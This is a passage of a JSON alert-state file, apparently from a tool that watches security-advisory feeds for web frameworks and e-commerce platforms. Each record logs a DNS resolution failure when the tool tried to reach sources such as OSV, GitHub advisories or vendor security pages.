"network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "opencart::OSV OpenCart", + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OSV OpenCart", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OSV OpenCart", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "opencart::OpenCart Releases", + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OpenCart Releases", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OpenCart Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/opencart/opencart/releases", + "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "openmage::OSV OpenMage", + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OSV OpenMage", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OSV OpenMage", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "openmage::OpenMage GitHub Advisories", + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OpenMage GitHub Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OpenMage GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/OpenMage/magento-lts/security/advisories", + "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "phpmyadmin::OSV phpMyAdmin", + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "OSV phpMyAdmin", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "OSV phpMyAdmin", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "phpmyadmin::phpMyAdmin Security Page", + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "phpMyAdmin Security Page", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "phpMyAdmin Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.phpmyadmin.net/security/", + "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "prestashop::Friends Of Presta Security", + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "Friends Of Presta Security", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "Friends Of Presta Security", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://security.friendsofpresta.org/", + "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "prestashop::GitHub PrestaShop Advisories", + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "GitHub PrestaShop Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "GitHub PrestaShop Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/PrestaShop/PrestaShop/security/advisories", + "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "prestashop::OSV PrestaShop", + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "OSV PrestaShop", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "OSV PrestaShop", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "prestashop::PrestaShop Security Page", + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "PrestaShop Security Page", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "PrestaShop Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://build.prestashop-project.org/news/", + "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "rails::OSV Rails", + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "OSV Rails", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "OSV Rails", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "react::OSV React", + "system_id": "react", + "display_name": "React", + "source_name": "OSV React", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "react", + "display_name": "React", + "source_name": "OSV React", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "redmine::OSV Redmine", + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "OSV Redmine", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "OSV Redmine", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "redmine::Redmine Security Advisories", + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "Redmine Security Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "Redmine Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories", + "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "saleor::GitHub Saleor Advisories", + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "GitHub Saleor Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "GitHub Saleor Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/saleor/saleor/security/advisories", + "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "saleor::OSV Saleor", + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "OSV Saleor", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "OSV Saleor", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "shopware::OSV Shopware", + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "OSV Shopware", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "OSV Shopware", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "shopware::Shopware Security Advisories", + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "Shopware Security Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "Shopware Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/shopware/shopware/security/advisories", + "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "spring-boot::OSV Spring Boot", + "system_id": "spring-boot", + "display_name": "Spring Boot", + "source_name": "OSV Spring Boot", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-boot", + "display_name": "Spring Boot", + "source_name": "OSV Spring Boot", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "spring-boot::OSV Spring Boot::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 6.869 + } + }, + { + "alert_id": "spring-boot::Spring Security Advisories", + "system_id": "spring-boot", + "display_name": "Spring Boot", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-boot", + "display_name": "Spring Boot", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://spring.io/security", + "summary": "spring-boot::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 8.73 + } + }, + { + "alert_id": "spring-framework::OSV Spring Framework", + "system_id": "spring-framework", + "display_name": "Spring Framework", + "source_name": "OSV Spring Framework", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-framework", + "display_name": "Spring Framework", + "source_name": "OSV Spring Framework", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "spring-framework::OSV Spring Framework::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 6.926 + } + }, + { + "alert_id": "spring-framework::Spring Security Advisories", + "system_id": "spring-framework", + "display_name": "Spring Framework", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-framework", + "display_name": "Spring Framework", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://spring.io/security", + "summary": "spring-framework::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 6.922 + } + }, + { + "alert_id": "spring-security::OSV Spring Security", + "system_id": "spring-security", + "display_name": "Spring Security", + "source_name": "OSV Spring Security", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-security", + "display_name": "Spring Security", + "source_name": "OSV Spring Security", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "spring-security::OSV Spring Security::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 6.934 + } + }, + { + "alert_id": "spring-security::Spring Security Advisories", + "system_id": "spring-security", + "display_name": "Spring Security", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "spring-security", + "display_name": "Spring Security", + "source_name": "Spring Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://spring.io/security", + "summary": "spring-security::Spring Security Advisories::network::HTTPSConnectionPool(host='spring.io', port=443): Max retries exceeded with url: /security (Caused by NameResolutionError(\"HTTPSConnection(host='spring.io', port=443): Failed to resolve 'spring.io' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 8.705 + } + }, + { + "alert_id": "strapi::OSV Strapi", + "system_id": "strapi", + "display_name": "Strapi", + "source_name": "OSV Strapi", + "source_kind": "osv-batch", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "strapi", + "display_name": "Strapi", + "source_name": "OSV Strapi", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "strapi::OSV Strapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "elapsed_seconds": 1.724 + } + }, + { + "alert_id": "strapi::Strapi GitHub Advisories", + "system_id": "strapi", + "display_name": "Strapi", + "source_name": "Strapi GitHub Advisories", + "source_kind": "html-links", + "status": "resolved", + "opened_at": "2026-03-20T13:41:26+00:00", + "updated_at": "2026-03-20T15:45:58+00:00", + "resolved_at": "2026-03-20T15:45:58+00:00", + "failure_streak": 1, + "last_category": 